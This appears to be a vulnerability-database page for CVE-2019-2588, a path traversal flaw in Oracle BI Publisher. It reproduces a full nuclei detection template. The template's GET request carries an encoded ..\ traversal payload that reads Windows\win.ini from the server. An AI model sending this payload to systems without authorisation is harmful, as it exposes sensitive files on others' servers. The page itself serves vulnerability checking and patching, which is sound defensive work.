HexBrain

Browse / CVEs / CVE-2019-2588

CVE-2019-2588· oracle / business intelligence publisher

Oracle Business Intelligence - Path Traversal

mediumseverity
4.9CVSS score
36.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security).

Impact

An attacker can read sensitive files on the system, potentially leading to unauthorized access or exposure of sensitive information.

Fix

Apply the necessary patches or updates provided by Oracle to fix the path traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..…
Positive when: contains "for 16-bit app support" AND status 200

Run it with nuclei: nuclei -id CVE-2019-2588 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-2588

info:
  name: Oracle Business Intelligence - Path Traversal
  author: madrobot
  severity: medium
  description: |
    Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security).
  impact: |
    An attacker can read sensitive files on the system, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to fix the path traversal vulnerability.
  reference:
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2588
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/lnick2023/nicenice
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2019-2588
    epss-score: 0.36537
    epss-percentile: 0.98507
    cpe: cpe:2.3:a:oracle:business_intelligence_publisher:11.1.1.9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: business_intelligence_publisher
  tags: cve,cve2019,oracle,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'for 16-bit app support'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from